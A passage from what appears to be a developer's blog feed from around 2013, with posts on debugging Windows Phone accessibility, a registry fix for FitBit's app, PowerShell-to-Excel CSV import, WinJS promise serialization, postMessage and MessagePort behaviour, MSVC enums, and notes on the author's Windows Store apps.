    Some time back while I was working on getting the &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/apps/dn631759.aspx&quot;&gt;Javascript Windows Store app platform&lt;/a&gt; running on Windows Phone
    (now available on the last Windows Phone release!) I had an interesting bug that in retrospect is amusing.
  &lt;/p&gt;&lt;p&gt;
    I had just finished a work item to get accessibility working for JS WinPhone apps when I got a new bug: With some set of JS apps, accessibility appeared to be totally broken. At that time in
    development the only mechanism we had to test accessibility was a test tool that runs on the PC, connects to the phone, and dumps out the accessibility tree of whatever app is running on the
    phone. In this bug, the tool would spin for a while and then timeout with an error and no accessibility information.
  &lt;/p&gt;&lt;p&gt;
    My first thought was this was an issue in my new accessibility code. However, debugging with breakpoints on my code I could see none of my code was run nor the code that should call it. The code
    that called that code was a more generic messaging system that hit my breakpoints constantly.
  &lt;/p&gt;&lt;p&gt;
    Rather than trying to work backward from the failure point, I decided to try and narrow down the repro and work forwards from there. One thing all the apps with the bug had in common was their
    usage of &lt;a href=&quot;http://try.buildwinjs.com/&quot;&gt;WinJS&lt;/a&gt;, but not all WinJS apps demonstrated the issue. Using a binary search approach on one such app I removed unrelated app code until all that
    was left was the app&#39;s usage of the WinJS AppBar and the bug still occurred. I replaced the WinJS AppBar usage with direct usage of the underlying AppBar WinRT APIs and continued.
  &lt;/p&gt;&lt;p&gt;
    Only some calls to the AppBar WinRT object produced the issue:
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;        var appBar = Windows.UI.WebUI.Core.WebUICommandBar.getForCurrentView(); &lt;br&gt;        // appBar.opacity = 1;&lt;br&gt;        // appBar.closeDisplayMode = Windows.UI.WebUI.Core.WebUICommandBarClosedDisplayMode.default;&lt;br&gt;        appBar.backgroundColor = Windows.UI.Colors.white; // Bug! &lt;/code&gt;&lt;/pre&gt;Just
  setting the background color appeared to cause the issue and I didn&#39;t even have to display the AppBar. Through additional trial and error I was blown away to discover that some colors I would set
  caused the issue and other colors did not. Black wouldn&#39;t cause the issue but transparent black would. So would aqua but not white.
  &lt;p&gt;
    I eventually realized that predefined WinRT color values like Windows.UI.Colors.aqua would cause the issue while JS literal based colors didn&#39;t cause the issue (&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/apps/windows.ui.color.aspx&quot;&gt;Windows.UI.Color&lt;/a&gt; is a WinRT struct which projects in JS as a JS literal object with the struct members as JS
    object properties so its easy to write something like &lt;code&gt;{r: 0, g: 0, b: 0, a: 0}&lt;/code&gt; to make a color) and I had been mixing both in my tests without realizing there would be a difference.
    I debugged into the backgroundColor property setter that consumed the WinRT color struct to see what was different between Windows.UI.Colors.black and &lt;code&gt;{a: 1, r: 0, g: 0, b: 0}&lt;/code&gt; and
    found the two structs to be byte wise exactly the same.
  &lt;/p&gt;&lt;p&gt;
    On a hunch I tried my test app with only a reference to the color and otherwise no interaction with the AppBar and not doing anything with the actual reference to the color:
    &lt;code&gt;Windows.UI.Colors.black;&lt;/code&gt;. This too caused the issue. I knew that the implementation for these WinRT const values live in a DLL and guessed that something in the code to create these
    predefined colors was causing the issue. I debugged in and no luck. Now I also have experienced crusty code that would &lt;a href=&quot;http://blogs.msdn.com/b/oldnewthing/archive/2004/01/27/63401.aspx&quot;&gt;do exciting things in its DllMain&lt;/a&gt;, the function that&#39;s called when a DLL is loaded into the process so I tried modifying my
    C++ code to simply LoadLibrary the DLL containing the WinRT color definition, windows.ui.xaml.dll and found the bug still occurred! A short lived moment of relief as the world seemed to make
    sense again.
  &lt;/p&gt;&lt;p&gt;
    Debugging into DllMain nothing interesting happened. There were interesting calls in there to be sure, but all of them behind conditions that were false. I was again stumped. On another hunch I
    tried renaming the DLL and only LoadLibrary&#39;ing it and the bug went away. I took a different DLL renamed it windows.ui.xaml.dll and tried LoadLibrary&#39;ing that and the bug came back. Just the name
    of the DLL was causing the issue.
  &lt;/p&gt;&lt;p&gt;
    I searched for the DLL name in our source code index and found hits in the accessibility tool. Grinning I opened the source to find that the accessibility tool&#39;s phone side service was trying to
    determine if a process belonged to a XAML app or not because XAML apps had a different accessibility contract. It did this by checking to see if windows.ui.xaml.dll was loaded in the target
    process.
  &lt;/p&gt;&lt;p&gt;
    At this point I got to fix my main issue and open several new bugs for the variety of problems I had just run into. This is a how to on writing software that is difficult to debug.
  &lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>FitBit and WebOC Application Compatibility Errors</title>
		<link href="https://deletethis.net/dave/2013-08/FitBit+and+WebOC+Application+Compatibility+Errors/"/>
		<updated>2013-08-29T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2013-08/FitBit+and+WebOC+Application+Compatibility+Errors/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;
  I just got a FitBit One from my wife. Unfortunately I had issues running their app on my Windows 8.1 Preview machine. But I recognized the errors as IE compatibility issues, for instance an IE
  dialog popup from the FitBit app telling me about an error in the app&#39;s JavaScript. Given &lt;a href=&quot;http://deletethis.net/dave/?uri=http%3A%2F%2Fdavescoolblog.blogspot.com%2F2011%2F04%2Fie9-document-mode-in-weboc.html&quot;&gt;my previous post on WebOC versioning&lt;/a&gt; you may guess what I tried next. I
  went into the registry and tried out different browser mode and document mode versions until I got the FitBit software running without error. Ultimately I found the following registry value to work
  well (&#39;FitBit connect.exe&#39; set to DWORD decimal 8888).
  &lt;pre&gt;&lt;code&gt;Windows Registry Editor Version 5.00&lt;br&gt;&lt;br&gt;[HKEY_LOCAL_MACHINE&#92;SOFTWARE&#92;Microsoft&#92;Internet Explorer&#92;Main&#92;FeatureControl&#92;FEATURE_BROWSER_EMULATION]&lt;br&gt;&quot;Fitbit Connect.exe&quot;=dword:000022b8&lt;br&gt;&lt;br&gt;&lt;/code&gt;&lt;/pre&gt;For
  those familiar with the Windows registry the above should be enough. For those not familiar, copy and paste the above into notepad, save as a file named &quot;fitbit.reg&quot;, and then double click the reg
  file and say &#39;Yes&#39; to the prompt. Hopefully in the final release of Windows 8.1 this won&#39;t be an issue.
&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Moving PowerShell data into Excel</title>
		<link href="https://deletethis.net/dave/2013-08/Moving+PowerShell+data+into+Excel/"/>
		<updated>2013-08-15T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2013-08/Moving+PowerShell+data+into+Excel/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;
  PowerShell nicely includes ConvertTo-CSV and ConvertFrom-CSV which allow you to serialize and deserialize your PowerShell objects to and from CSV. Unfortunately the CSV produced by ConvertTo-CSV is
  not easily opened by Excel which expects by default different sets of delimiters and such. Looking online you&#39;ll find folks who recommend using automation via COM to create a new Excel instance and
  copy over the data in that fashion. This turns out to be very slow and impractical if you have large sets of data. However you can use automation to open CSV files with not the default set of
  delimiters. So the following isn&#39;t the best but it gets Excel to open a CSV file produced via ConvertTo-CSV and is faster than the other options:
  &lt;pre&gt;&lt;code&gt;Param([Parameter(Mandatory=$true)][string]$Path);&lt;br&gt;&lt;br&gt;$excel = New-Object -ComObject Excel.Application&lt;br&gt;&lt;br&gt;$xlWindows=2&lt;br&gt;$xlDelimited=1 # 1 = delimited, 2 = fixed width&lt;br&gt;$xlTextQualifierDoubleQuote=1 # 1= doublt quote, -4142 = no delim, 2 = single quote&lt;br&gt;$consequitiveDelim = $False;&lt;br&gt;$tabDelim = $False;&lt;br&gt;$semicolonDelim = $False;&lt;br&gt;$commaDelim = $True;&lt;br&gt;$StartRow=1&lt;br&gt;$Semicolon=$True&lt;br&gt;&lt;br&gt;$excel.visible=$true&lt;br&gt;$excel.workbooks.OpenText($Path,$xlWindows,$StartRow,$xlDelimited,$xlTextQualifierDoubleQuote,$consequitiveDelim,$tabDelim,$semicolonDelim, $commaDelim);&lt;/code&gt;&lt;/pre&gt;See
  &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/ff837097.aspx&quot;&gt;Workbooks.OpenText documentation&lt;/a&gt; for more information.
&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Serializing JavaScript Promise Execution</title>
		<link href="https://deletethis.net/dave/2013-08/Serializing+JavaScript+Promise+Execution/"/>
		<updated>2013-08-10T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2013-08/Serializing+JavaScript+Promise+Execution/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;
  Occasionally I have need to run a set of unrelated promises in series, for instance an object dealing with a WinRT camera API that can only execute one async operation at a time, or an object
  handling postMessage message events and must resolve associated async operations in the same order it received the requests. The solution is very simply to keep track of the last promise and when
  adding a new promise in serial add a continuation of the last promise to execute the new promise and point the last promise at the result. I encapsulate the simple solution in a simple
  constructor:&lt;br&gt;&lt;br&gt;&lt;pre&gt;&lt;code&gt;    function PromiseExecutionSerializer() {&lt;br&gt;        var lastPromise = WinJS.Promise.wrap(); // Start with an empty fulfilled promise.&lt;br&gt;&lt;br&gt;        this.addPromiseForSerializedExecution = function(promiseFunction) {&lt;br&gt;            lastPromise = lastPromise.then(function () {&lt;br&gt;                // Don&#39;t call directly so next promise doesn&#39;t get previous result parameter.&lt;br&gt;                return promiseFunction();&lt;br&gt;            });&lt;br&gt;        }&lt;br&gt;    }&lt;/code&gt;&lt;/pre&gt;&lt;br&gt;
&lt;p&gt;The only thing to watch out for is to ensure you don&#39;t pass the result of a previous promise onto a subsequent promise that is unrelated.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Considerate MessagePort Usage</title>
		<link href="https://deletethis.net/dave/2013-08/Considerate+MessagePort+Usage/"/>
		<updated>2013-08-07T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2013-08/Considerate+MessagePort+Usage/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;img align=&quot;right&quot; alt=&quot;Sharing by leezie5. Two squirrels sharing food hanging from a bird feeder. Used under Creative Commons license Attribution-NonCommercial-NoDerivs 2.0 Generic.&quot; src=&quot;http://farm7.staticflickr.com/6013/5912219625_ece631b7e6_m.jpg&quot;&gt;When writing a JavaScript library that uses postMessage and the message event, I must be considerate of other JS code that will be
  running along side my library. I shouldn&#39;t assume I&#39;m the only sender and receiver on a caller provided MessagePort object. This means obviously I should use addEventListener(&quot;message&quot; rather than
  the onmessage property (see related &lt;a href=&quot;http://blogs.msdn.com/b/oldnewthing/archive/2005/06/07/426294.aspx&quot;&gt;What if two programs did this?&lt;/a&gt;). But considering the actual messages traveling
  over the message channel I have the issue of accidentally processing another libraries messages and having another library accidentally process my own message. I have a few options for playing nice
  in this regard:&lt;br&gt;&lt;dl&gt;&lt;dt&gt;
      Require a caller provided unique MessagePort
    &lt;/dt&gt;&lt;dd&gt;
      This solves the problem but puts a lot of work on the caller who may not notice nor follow this requirement.
    &lt;/dd&gt;&lt;dt&gt;
      Uniquely mark my messages
    &lt;/dt&gt;&lt;dd&gt;
      To ensure I&#39;m acting upon my own messages and not messages that happen to have similar properties as my own, I place a &#39;type&#39; property on my postMessage data with a value of a URN unique to me
      and my JS library. Usually because its easy I use a &lt;a href=&quot;http://tools.ietf.org/html/rfc4122&quot;&gt;UUID URN&lt;/a&gt;. There&#39;s no way someone will coincidentally produce this same URN. With this I can
      be sure I&#39;m not processing someone else&#39;s messages. Of course there&#39;s no way to modify my postMessage data to prevent another library from accidentally processing my messages as their own. I
      can only hope they take similar steps as this and see that my messages are not their own.
    &lt;/dd&gt;&lt;dt&gt;
      Use caller provided MessagePort only to upgrade to new unique MessagePort
    &lt;/dt&gt;&lt;dd&gt;
      I can also make my own unique MessagePort for which only my library will have the end points. This does still require the caller to provide an initial message channel over which I can
      communicate my new unique MessagePort which means I still have the problems above. However it clearly reduces the surface area of the problem since I only need once message to communicate the
      new MessagePort.
    &lt;/dd&gt;&lt;/dl&gt;The best solution is likely all of the above.&lt;br&gt;
  Photo is &lt;a href=&quot;http://www.flickr.com/photos/leeziet/5912219625/&quot;&gt;Sharing&lt;/a&gt; by &lt;a href=&quot;http://www.flickr.com/photos/leeziet/&quot;&gt;leezie5&lt;/a&gt;. Two squirrels sharing food hanging from a bird
  feeder. Used under Creative Commons license Attribution-NonCommercial-NoDerivs 2.0 Generic.
&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>URI functions in Windows Store Applications</title>
		<link href="https://deletethis.net/dave/2013-07/URI+functions+in+Windows+Store+Applications/"/>
		<updated>2013-07-25T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2013-07/URI+functions+in+Windows+Store+Applications/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>C++ constructor member initializers run in member declaration order</title>
		<link href="https://deletethis.net/dave/2013-07/C--+constructor+member+initializers+run+in+member+declaration+order/"/>
		<updated>2013-07-18T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2013-07/C--+constructor+member+initializers+run+in+member+declaration+order/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Subtleties of postMessage</title>
		<link href="https://deletethis.net/dave/2013-07/Subtleties+of+postMessage/"/>
		<updated>2013-07-15T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2013-07/Subtleties+of+postMessage/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;p&gt;
      In IE10 and other new browsers one may create MessageChannel objects that have two MessagePorts each connected (w3c spec calls it entangled) to one another such that postMessage on one port
      results in the message event firing on the other. You can pass an array of ports as the last parameter to postMessage and they show up in the ports property of the message event arg.
    &lt;/p&gt;&lt;h2&gt;
      Origin
    &lt;/h2&gt;&lt;p&gt;
      The postMessage here is like the worker postMessage and unlike the window and iframe postMessage in that it applies no origin checking:
    &lt;/p&gt;&lt;ol&gt;&lt;li&gt;No origin postMessage in workers and MessagePorts: &lt;strong&gt;postMessage(messageData, ports)&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;Origin postMessage in windows and iframes: &lt;strong&gt;postMessage(messageData, targetOrigin, ports)&lt;/strong&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;
      Unfortunately the origin isn&#39;t an optional parameter at the end to make the two postMessages have the same signature.
    &lt;/p&gt;&lt;p&gt;
      On the event handler side, the event arg always has an origin property. But in the no origin case it is always the empty string.
    &lt;/p&gt;&lt;h2&gt;
      Source
    &lt;/h2&gt;&lt;p&gt;
      There is also a source property on the message event arg which if set is an object that has a postMessage property allowing you to post back to your caller. It is set for the origin case,
      however, in the no origin case this property is null. This is somewhat reasonable because in the case of MessagePort and Workers there are only two endpoints so you always know the source of a
      message implicitly. Unlike the origin case in which any iframe or window can be calling postMessage on any other iframe or window and the caller is unknown. So not unreasonable but it would be
      nice if the source property was always set for consistency.
    &lt;/p&gt;&lt;h2&gt;
      MessageChannel start
    &lt;/h2&gt;&lt;p&gt;
      When a MessageChannel is created it has two MessagePorts, but until those ports are started they will queue up any messages they receive. Once started they will dispatch all queued messages.
      Ports don&#39;t have to be started to send messages.
    &lt;/p&gt;&lt;p&gt;
      A port may be started in two ways, either by explicitly calling the start method on the port, or by setting the onmessage callback property on the port. However, adding an event listener via
      addEventListener(&quot;message&quot;, does not start the port. It works this way in IE and Chrome and the spec states this as well.
    &lt;/p&gt;&lt;p&gt;
      The justification is that since you can have only one callback via onmessage that once set you must implicitly be ready to receive messages and its fine to start the port. As opposed to the
      addEventListener in which case the user agent cannot start implicitly because it doesn&#39;t know how many event listeners will be added.  I found &lt;a href=&quot;http://www.w3.org/2011/11/01-geolocation-minutes.html&quot;&gt;Hixie stating this justification&lt;/a&gt; in geoloc meeting notes.
    &lt;/p&gt;&lt;h2&gt;
      Links
    &lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;http://dev.w3.org/html5/postmsg/&quot;&gt;W3C Spec&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://dev.opera.com/articles/view/window-postmessage-messagechannel/&quot;&gt;Opera introduction&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Percent Clcok Windows Store App Development Notes</title>
		<link href="https://deletethis.net/dave/2013-07/Percent+Clcok+Windows+Store+App+Development+Notes/"/>
		<updated>2013-07-11T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2013-07/Percent+Clcok+Windows+Store+App+Development+Notes/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;p&gt;
      My third completed Windows Store app is &lt;a href=&quot;http://apps.microsoft.com/windows/en-us/app/percent-clock/e1560938-5720-4b5f-a19e-707f1b68e09f/&quot;&gt;Percent Clock&lt;/a&gt; which displays portions of a
      time span like the time of the day or time until your next birthday, as a percentage. This was a small project I had previously started as a webpage and converted and finished as an HTML
      JavaScript Windows Store app.
    &lt;/p&gt;&lt;p&gt;
      The only somewhat interesting aspect of this app is that its the first app for which I tried charging. I picked the minimum amount for price 1.49 USD as it is a simple app and unsurprisingly it
      has sold very poorly. I&#39;m considering releasing new instances of the app for specific scenarios:
    &lt;/p&gt;&lt;ul&gt;&lt;li&gt;Death Clock: viewing your current age with respect to your life expectancy as a percentage.
      &lt;/li&gt;&lt;li&gt;New Year Countdown: percentage of the year until New Years.
      &lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>WinRT PropertySet Changed Event Danger</title>
		<link href="https://deletethis.net/dave/2013-07/WinRT+PropertySet+Changed+Event+Danger/"/>
		<updated>2013-07-08T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2013-07/WinRT+PropertySet+Changed+Event+Danger/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;p&gt;
      The Windows Runtime API &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/apps/windows.foundation.collections.propertyset.aspx&quot;&gt;Windows.Foundation.Collections.PropertySet&lt;/a&gt; class​ is a
      nice string name to object value map that has a changed event that fires when the contents of the map is modified. Be careful with this event because it fires synchronously from the thread on
      which the PropertySet was modified. If modified from the UI thread, the UI thread will then wait as it synchronously dispatches the changed event to all listeners which could lead to
      performance issues or especially from the UI thread deadlock. For instance, deadlock if you have two threads both trying to tell each other about changed events for different PropertySets.
    &lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Words with Hints Windows 8 App Development Notes</title>
		<link href="https://deletethis.net/dave/2013-07/Words+with+Hints+Windows+8+App+Development+Notes/"/>
		<updated>2013-07-04T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2013-07/Words+with+Hints+Windows+8+App+Development+Notes/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;p&gt;
      My second completed app for the Windows Store was &lt;a href=&quot;http://apps.microsoft.com/windows/en-us/app/words-with-hints/e302a949-452d-4086-8261-4d93d2f4f53a/&quot;&gt;Words with Hints&lt;/a&gt; a companion
      to Words with Friends or other Scrabble like games that gives you *ahem* hints. You provide your tiles and optionally letters placed in a line on the board and Words with Hints gives you word
      options.
    &lt;/p&gt;&lt;p&gt;
      I wrote this the first time by building a regular expression to check against my dictionary of words which made for a slow app on the Surface. In subsequent release of the app I now spawn four
      web workers (one for each of the Surface&#39;s cores) each with its own fourth of my dictionary. Each fourth of the dictionary is a &lt;a href=&quot;http://en.wikipedia.org/wiki/Trie&quot;&gt;trie&lt;/a&gt; which makes
      it easy for me to discard whole chunks of possible combinations of Scrabble letters as I walk the tree of possibilities.
    &lt;/p&gt;&lt;p&gt;
      The dictionaries are large and takes a noticeable amount of time to load on the Surface. The best performing mechanism I found to load them is as JavaScript source files that simply define
      their portion of the dictionary on the global object and synchronously (only on the worker so not blocking the UI thread). Putting them into .js files means they take advantage of &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/apps/hh849088.aspx#take_advantage_of_bytecode_caching&quot;&gt;bytecode caching&lt;/a&gt; making them load faster. However because the data is mostly strings
      and not code there is a dramatic size increase when the app is installed. The total size of the four dictionary .js files is about 44Mb. The bytecode cache for the dictionary files is about
      double that 88Mb meaning the dictionary plus the bytecode cache is 132Mb.
    &lt;/p&gt;&lt;p&gt;
      To handle the bother of postMessage communication and web workers this was the first app in which I used my promise MessagePort project which I&#39;ll discuss more in the future.
    &lt;/p&gt;&lt;p&gt;
      This is the first app in which I used the &lt;a href=&quot;http://msdn.microsoft.com/en-US/library/hh506371(v=msads.10).aspx&quot;&gt;Microsoft Ad SDK&lt;/a&gt;. It was difficult to find the install for the SDK and
      difficult to use their website, but once setup, the Ad SDK was easy to import into VS and easy to use in my app.
    &lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>MSVC++ 64bit Enums</title>
		<link href="https://deletethis.net/dave/2013-07/MSVC--+64bit+Enums/"/>
		<updated>2013-07-01T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2013-07/MSVC--+64bit+Enums/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;p&gt;
      If you want to represent a value larger than 32bits in an enum in MSVC++ you can use C++0x style syntax to tell the compiler exactly what kind of integral type to store the enum values.
      Unfortunately by default an enum is always 32bits, and additionally while you can specify constants larger than 32bits for the enum values, they are silently truncated to 32bits.
    &lt;/p&gt;&lt;p&gt;
      For instance the following doesn&#39;t compile because Lorem::a and Lorem::b have the same value of &#39;1&#39;:
    &lt;/p&gt;&lt;pre&gt;&lt;br&gt;&lt;code&gt;enum Lorem {&lt;br&gt;    a = 0x1,&lt;br&gt;    b = 0x100000001&lt;br&gt;} val;&lt;br&gt;&lt;br&gt;switch (val) {&lt;br&gt;    case Lorem::a:&lt;br&gt;        break;&lt;br&gt;    case Lorem::b:&lt;br&gt;        break;&lt;br&gt;}&lt;br&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;
      Unfortunately it is not an error to have b&#39;s constant truncated, and the previous without the switch statement does compile just fine:
    &lt;/p&gt;&lt;pre&gt;&lt;br&gt;&lt;code&gt;enum Lorem {&lt;br&gt;    a = 0x1,&lt;br&gt;    b = 0x100000001&lt;br&gt;} val;&lt;br&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;
      But you can explicitly specify that the enum should be represented by a 64bit value and get expected compiling behavior with the following:
    &lt;/p&gt;&lt;pre&gt;&lt;br&gt;&lt;code&gt;enum Lorem : UINT64 {&lt;br&gt;    a = 0x1,&lt;br&gt;    b = 0x100000001&lt;br&gt;} val;&lt;br&gt;&lt;br&gt;switch (val) {&lt;br&gt;    case Lorem::a:&lt;br&gt;        break;&lt;br&gt;    case Lorem::b:&lt;br&gt;        break;&lt;br&gt;}&lt;br&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Shout Text Windows 8 App Development Notes</title>
		<link href="https://deletethis.net/dave/2013-06/Shout+Text+Windows+8+App+Development+Notes/"/>
		<updated>2013-06-27T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2013-06/Shout+Text+Windows+8+App+Development+Notes/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    My first app for Windows 8 was &lt;a href=&quot;http://apps.microsoft.com/windows/en-us/app/shout-text/d3c22289-d1f6-4ead-a9ef-17abd0e6345a&quot;&gt;Shout Text&lt;/a&gt;. You type into Shout Text, and your text is
    scaled up as large as possible while still fitting on the screen, as you type. It is the closest thing to a Hello World app as you&#39;ll find on the Windows Store that doesn&#39;t contain that phrase
    (by default) and I approached it as the simplest app I could make to learn about Windows modern app development and Windows Store app submission.
  &lt;/p&gt;&lt;p&gt;
    I rely on WinJS&#39;s default layout to use CSS transforms to scale up the user&#39;s text as they type. And they are typing into a simple content editable div.
  &lt;/p&gt;&lt;p&gt;
    The app was too simple for me to even consider using ads or charging for it which I learned more about in future apps.
  &lt;/p&gt;&lt;p&gt;
    The first interesting issue I ran into was that copying from and then pasting into the content editable div resulted in duplicates of the containing div with copied CSS appearing recursively
    inside of the content editable div. To fix this I had to catch the paste operation and remove the HTML data from the clipboard to ensure only the plain text data is pasted:
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;        function onPaste() {&lt;br&gt;            var text;&lt;br&gt;&lt;br&gt;            if (window.clipboardData) {&lt;br&gt;                text = window.clipboardData.getData(&quot;Text&quot;).toString();&lt;br&gt;                window.clipboardData.clearData(&quot;Html&quot;);&lt;br&gt;                window.clipboardData.setData(&quot;Text&quot;, util.normalizeContentEditableText(text));&lt;br&gt;            }&lt;br&gt;        }&lt;br&gt;        shoutText.addEventListener(&quot;beforepaste&quot;, function () { return false; }, false);&lt;br&gt;        shoutText.addEventListener(&quot;paste&quot;, onPaste, false);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;
    I additionally found an issue in IE in which applying a CSS transform to a content editable div that has focus doesn&#39;t move the screen position of the user input caret - the text is scaled up or
    down but the caret remains the same size and in the same place on the screen. To fix this I made the following hack to reapply the current cursor position and text selection which resets the
    screen position of the user input caret.
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;        function resetCaret() {&lt;br&gt;            setTimeout(function () {&lt;br&gt;                var cursorPos = document.selection.createRange().duplicate();&lt;br&gt;                cursorPos.select();&lt;br&gt;            }, 200);&lt;br&gt;        }&lt;br&gt;&lt;br&gt;        shoutText.attachEvent(&quot;onresize&quot;, function () { resetCaret(); }, true);&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Windows Store on Windows 8 Fun For Independent Developers</title>
		<link href="https://deletethis.net/dave/2013-06/Windows+Store+on+Windows+8+Fun+For+Independent+Developers/"/>
		<updated>2013-06-24T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2013-06/Windows+Store+on+Windows+8+Fun+For+Independent+Developers/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;
  Having worked on Windows 8 I&#39;m not in a neutral position to review aspects of it, however I&#39;ll say from a high level I love taking the following various positives from smart phone apps and app
  stores and applying it to the desktop:
  &lt;ul&gt;&lt;li&gt;Independent developers can easily publish apps.
    &lt;/li&gt;&lt;li&gt;One trusted place for a user to find apps.
    &lt;/li&gt;&lt;li&gt;User can trust apps are limited to a declared set of capabilities.
    &lt;/li&gt;&lt;li&gt;One common and easy way for users to buy and try apps.
    &lt;/li&gt;&lt;li&gt;Easy mechanism for independent developers to collect revenue.
    &lt;/li&gt;&lt;/ul&gt;Relieving the independent developer of software development overhead, in this case Windows taking care of distribution and sales infrastructure is wonderful for me with my third party
  developer hat on. This combined with my new found fun of developing in JavaScript and the new Windows Runtime APIs means I&#39;ve been implementing and finishing various ideas I&#39;ve had - some for fun
  and some for productivity on my Surface. Development notes to follow.
&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Sci-fi short stories disguised as Internet docs</title>
		<link href="https://deletethis.net/dave/2013-05/Sci-fi+short+stories+disguised+as+Internet+docs/"/>
		<updated>2013-05-29T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2013-05/Sci-fi+short+stories+disguised+as+Internet+docs/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;
  The recent short story &lt;a href=&quot;http://twitter.bug.quietbabylon.com/&quot;&gt;Twitter API returning results that do not respect arrow of time&lt;/a&gt; by Tim May written as a Twitter bug report reminded me of a
  few other short sci-fi stories written in the style of some sort of Internet document:&lt;br&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://www.ansible.co.uk/writing/c-b-faq.html&quot;&gt;comp.basalisk FAQ&lt;/a&gt; by David Langford written as a FAQ.
    &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://www.abyssapexzine.com/wikihistory/&quot;&gt;Wikihistory&lt;/a&gt; by Desmond Warzel presented as a forum thread.
    &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://www.math.yorku.ca/Who/Faculty/Steprans/Courses/3500/Consciousness/mi269-276.txt&quot;&gt;The Riddle of the Universe and Its Solution&lt;/a&gt; by Christopher Cherian written as a scientific
      report.
    &lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Windows Remote Desktop via Internet</title>
		<link href="https://deletethis.net/dave/2012-12/Windows+Remote+Desktop+via+Internet/"/>
		<updated>2012-12-07T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2012-12/Windows+Remote+Desktop+via+Internet/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;
